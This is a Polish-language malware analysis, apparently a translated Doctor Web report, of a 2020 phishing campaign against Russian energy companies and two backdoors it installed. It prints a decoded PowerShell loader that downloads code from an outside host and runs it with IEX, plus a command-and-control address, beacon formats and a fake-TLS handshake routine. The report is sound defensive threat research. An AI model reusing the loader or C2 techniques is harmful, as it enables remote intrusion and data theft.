Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Nasze doświadczenie w badaniu incydentów związanych z bezpieczeństwem komputerów pokazuje, że poczta elektroniczna jest nadal jednym z najpowszechniejszych kanałów wykorzystywanych przez osoby atakujące do wstępnej penetracji zaatakowanej infrastruktury sieciowej. Jedno nieostrożne działanie z podejrzanym (lub mniej podejrzanym) listem staje się punktem wyjścia dla dalszej infekcji, dlatego cyberprzestępcy aktywnie korzystają z metod inżynierii społecznej, choć z różnym skutkiem.

W tym poście chcemy porozmawiać o naszym niedawnym dochodzeniu w sprawie kampanii spamowej skierowanej do szeregu przedsiębiorstw rosyjskiego kompleksu paliwowo-energetycznego. Wszystkie ataki przebiegały według tego samego scenariusza, wykorzystując fałszywe wiadomości e-mail i wydawało się, że nikt nie włożył większego wysiłku w treść tych wiadomości.

Eksploracja

Wszystko zaczęło się pod koniec kwietnia 2020 roku, kiedy analitycy wirusów Doctor Web wykryli kampanię spamową, w ramach której hakerzy wysyłali zaktualizowaną książkę telefoniczną do pracowników szeregu przedsiębiorstw rosyjskiego kompleksu paliwowo-energetycznego. Oczywiście nie był to zwykły przejaw niepokoju, ponieważ katalog nie był prawdziwy, a dokumenty .docx pobrały dwa obrazy ze zdalnych zasobów.

Jeden z nich został pobrany na komputer użytkownika z serwera news[.]zannews[.]com. Warto zauważyć, że nazwa domeny jest podobna do domeny antykorupcyjnego centrum medialnego Kazachstanu - zannews[.]kz. Z drugiej strony użyta domena od razu przypominała inną kampanię z 2015 r., znaną jako TOPNEWS, w której wykorzystano backdoora ICEFOG i domeny kontrolne trojanów miały w nazwie podciąg „news”. Inną interesującą funkcją było to, że podczas wysyłania wiadomości e-mail do różnych odbiorców żądania pobrania obrazu wykorzystywały albo różne parametry żądania, albo unikalne nazwy obrazów.

Uważamy, że miało to na celu zebranie informacji pozwalających zidentyfikować „wiarygodnego” adresata, który miałby wówczas pewność, że list otworzy w odpowiednim momencie. Do pobrania obrazu z drugiego serwera wykorzystano protokół SMB, co można było zrobić w celu zebrania skrótów NetNTLM z komputerów pracowników, którzy otworzyli otrzymany dokument.

A oto sam list z fałszywym katalogiem:

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

W czerwcu tego roku hakerzy zaczęli używać nowej nazwy domeny sports[.]manhajnews[.]com do przesyłania zdjęć. Analiza wykazała, że ​​subdomeny manhajnews[.]com były wykorzystywane w wysyłkach spamowych co najmniej od września 2019 r. Jednym z celów tej kampanii był duży rosyjski uniwersytet.

Również w czerwcu organizatorzy ataku wymyślili nowy tekst swoich listów: tym razem dokument zawierał informacje o rozwoju branży. Z treści listu jasno wynikało, że jego autor albo nie był rodzimym użytkownikiem języka rosyjskiego, albo celowo robił na sobie takie wrażenie. Niestety pomysły na rozwój branży jak zawsze okazały się tylko przykrywką – dokument ponownie pobrał dwa obrazy, natomiast serwer został zmieniony na download[.]inklingpaper[.]com.

Kolejna innowacja pojawiła się w lipcu. Próbując ominąć wykrywanie złośliwych dokumentów przez programy antywirusowe, napastnicy zaczęli wykorzystywać dokumenty Microsoft Word zaszyfrowane hasłem. Jednocześnie napastnicy postanowili zastosować klasyczną technikę socjotechniki – powiadomienie o nagrodzie.

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Tekst apelu został ponownie napisany w tym samym stylu, co wzbudziło dodatkową podejrzliwość wśród adresata. Serwer do pobrania obrazu również się nie zmienił.

Należy pamiętać, że we wszystkich przypadkach do wysyłania listów używano elektronicznych skrzynek pocztowych zarejestrowanych w domenach mail[.]ru i yandex[.]ru.

Atak

Na początku września 2020 r. nadszedł czas działania. Nasi analitycy wirusów odnotowali nową falę ataków, podczas których napastnicy ponownie wysyłali listy pod pretekstem aktualizacji książki telefonicznej. Jednak tym razem załącznik zawierał złośliwe makro.

Podczas otwierania załączonego dokumentu makro utworzyło dwa pliki:

  • Skrypt VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, który miał na celu uruchomienie pliku wsadowego;
  • Sam plik wsadowy %APPDATA%configstest.bat, który został zaciemniony.

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Istota jego pracy sprowadza się do uruchomienia powłoki Powershell z określonymi parametrami. Parametry przekazywane do powłoki są dekodowane w polecenia:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Jak wynika z przedstawionych poleceń, domena, z której pobierany jest ładunek, ponownie udaje witrynę z wiadomościami. Prosty ładowarka, którego jedynym zadaniem jest odebranie kodu powłoki z serwera dowodzenia i kontroli oraz jego wykonanie. Udało nam się zidentyfikować dwa typy backdoorów, które można zainstalować na komputerze ofiary.

Tylne drzwi.Siggen2.3238

Pierwszy to Tylne drzwi.Siggen2.3238 — nasi specjaliści nie spotkali się wcześniej, a także nie było wzmianek o tym programie u innych dostawców oprogramowania antywirusowego.

Ten program to backdoor napisany w C++ i działający w 32-bitowych systemach operacyjnych Windows.

Tylne drzwi.Siggen2.3238 potrafi komunikować się z serwerem zarządzającym za pomocą dwóch protokołów: HTTP i HTTPS. Testowana próbka korzysta z protokołu HTTPS. W żądaniach kierowanych do serwera używany jest następujący User-Agent:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

W takim przypadku wszystkie żądania dostarczane są z następującym zestawem parametrów:

%s;type=%s;length=%s;realdata=%send

gdzie każdy wiersz %s zostaje odpowiednio zastąpiony przez:

  • Identyfikator zainfekowanego komputera,
  • rodzaj wysyłanego żądania,
  • długość danych w polu realdata,
  • dane.

Na etapie zbierania informacji o zainfekowanym systemie backdoor generuje linię typu:

lan=%s;cmpname=%s;username=%s;version=%s;

gdzie lan to adres IP zainfekowanego komputera, cmpname to nazwa komputera, username to nazwa użytkownika, wersja to linia 0.0.4.03.

Informacje te wraz z identyfikatorem sysinfo wysyłane są za pośrednictwem żądania POST do serwera sterującego znajdującego się pod adresem https[:]//31.214[.]157.14/log.txt. Jeśli w odpowiedzi Tylne drzwi.Siggen2.3238 odbierze sygnał HEART, połączenie uznaje się za udane, a backdoor rozpoczyna główny cykl komunikacji z serwerem.

Pełniejszy opis zasad działania Tylne drzwi.Siggen2.3238 jest w naszym biblioteka wirusów.

Tylne drzwi.Whitebird.23

Drugi program to modyfikacja backdoora BackDoor.Whitebird, znanego nam już z incydentu z agencją rządową w Kazachstanie. Ta wersja jest napisana w języku C++ i jest przeznaczona do działania zarówno w 32-bitowych, jak i 64-bitowych systemach operacyjnych Windows.

Podobnie jak większość programów tego typu, Tylne drzwi.Whitebird.23 przeznaczony do nawiązania szyfrowanego połączenia z serwerem kontroli i nieuprawnionej kontroli zainfekowanego komputera. Zainstalowano w zainfekowanym systemie za pomocą zakraplacza Tylne drzwi.Siggen2.3244.

Badaną przez nas próbką była złośliwa biblioteka z dwoma eksportami:

  • Google Play
  • Test.

Na początku swojej pracy odszyfrowuje konfigurację podłączoną do korpusu backdoora przy użyciu algorytmu opartego na operacji XOR z bajtem 0x99. Konfiguracja wygląda następująco:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Aby zapewnić jego ciągłe działanie, backdoor zmienia wartość podaną w polu godziny pracy konfiguracje. Pole zawiera 1440 bajtów, które przyjmują wartości 0 lub 1 i reprezentują każdą minutę każdej godziny w ciągu dnia. Tworzy oddzielny wątek dla każdego interfejsu sieciowego, który nasłuchuje interfejsu i szuka pakietów autoryzacyjnych na serwerze proxy z zainfekowanego komputera. Po wykryciu takiego pakietu backdoor dodaje do swojej listy informacje o serwerze proxy. Dodatkowo sprawdza obecność serwera proxy poprzez WinAPI Opcja InternetQueryW.

Program sprawdza aktualną minutę i godzinę i porównuje ją z danymi w terenie godziny pracy konfiguracje. Jeżeli wartość odpowiedniej minuty dnia nie jest równa zero, wówczas nawiązywane jest połączenie z serwerem sterującym.

Nawiązanie połączenia z serwerem symuluje utworzenie połączenia przy użyciu protokołu TLS w wersji 1.0 pomiędzy klientem a serwerem. Ciało backdoora zawiera dwa bufory.

Pierwszy bufor zawiera pakiet Hello klienta TLS 1.0.

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Drugi bufor zawiera pakiety wymiany kluczy klienta TLS 1.0 o długości klucza 0x100 bajtów, specyfikację zmiany szyfru i zaszyfrowaną wiadomość uzgadniania.

Badamy ukierunkowany atak szpiegowski na rosyjski kompleks paliwowo-energetyczny

Wysyłając pakiet Client Hello, backdoor zapisuje 4 bajty bieżącego czasu i 28 bajtów danych pseudolosowych w polu Client Random, obliczonych w następujący sposób:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Odebrany pakiet jest wysyłany do serwera sterującego. Odpowiedź (pakiet Server Hello) sprawdza:

  • zgodność z protokołem TLS w wersji 1.0;
  • zgodność znacznika czasu (pierwsze 4 bajty pola pakietu Random Data) określonego przez klienta ze znacznikiem czasu określonym przez serwer;
  • dopasowanie pierwszych 4 bajtów po znaczniku czasu w polu danych losowych klienta i serwera.

W przypadku określonych dopasowań backdoor przygotowuje pakiet wymiany klucza klienta. W tym celu modyfikuje klucz publiczny w pakiecie Client Key Exchange, a także szyfrowanie IV i dane szyfrujące w pakiecie zaszyfrowanej wiadomości uzgadniania.

Następnie backdoor odbiera pakiet od serwera dowodzenia i kontroli, sprawdza, czy wersja protokołu TLS to 1.0, a następnie akceptuje kolejne 54 bajty (treść pakietu). To kończy konfigurację połączenia.

Pełniejszy opis zasad działania Tylne drzwi.Whitebird.23 jest w naszym biblioteka wirusów.

Wnioski i wnioski

Analiza dokumentów, złośliwego oprogramowania i wykorzystywanej infrastruktury pozwala z całą pewnością stwierdzić, że atak przygotowała jedna z chińskich grup APT. Biorąc pod uwagę funkcjonalność backdoorów instalowanych na komputerach ofiar w przypadku udanego ataku, infekcja prowadzi co najmniej do kradzieży poufnych informacji z komputerów zaatakowanych organizacji.

Ponadto bardzo prawdopodobnym scenariuszem jest instalacja na lokalnych serwerach wyspecjalizowanych trojanów posiadających specjalną funkcję. Mogą to być kontrolery domeny, serwery pocztowe, bramy internetowe itp. Jak widać na przykładzie incydent w Kazachstanie, takie serwery są z różnych powodów szczególnie interesujące dla atakujących.

Źródło: www.habr.com

Dodaj komentarz